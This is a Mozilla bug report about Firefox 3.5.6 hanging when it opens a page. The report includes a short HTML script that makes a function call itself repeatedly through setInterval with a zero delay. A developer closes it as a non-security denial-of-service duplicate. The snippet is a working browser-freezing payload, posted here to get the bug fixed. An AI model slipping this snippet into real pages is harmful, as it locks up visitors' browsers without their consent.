536754 - Mozilla Firefox will be stopped by using a recursive function which calls itself by using "setInterval"

Status: RESOLVED DUPLICATE of bug 335256

(Firefox :: General, defect)

Description

[Soroush Dalili]

User-Agent:       Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 3.5.30729)
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 3.5.30729)

Save this code as a HTML file and open it by Mozilla Firefox.
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<script>
function recursiveFunc(){setInterval("recursiveFunc()",0);}
recursiveFunc();
</script>
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Reproducible: Always

Steps to Reproduce:
Save this code as a HTML file and open it by Mozilla Firefox.
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<script>
function recursiveFunc(){setInterval("recursiveFunc()",0);}
recursiveFunc();
</script>
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Actual Results:  
Mozilla Firefox will be stopped working.

Expected Results:  
Showing a window to stop the script.

Comment 1

[Jeff Walden [:Waldo]]

Not a security bug; DoS issues with JS are dime-a-dozen whack-a-mole.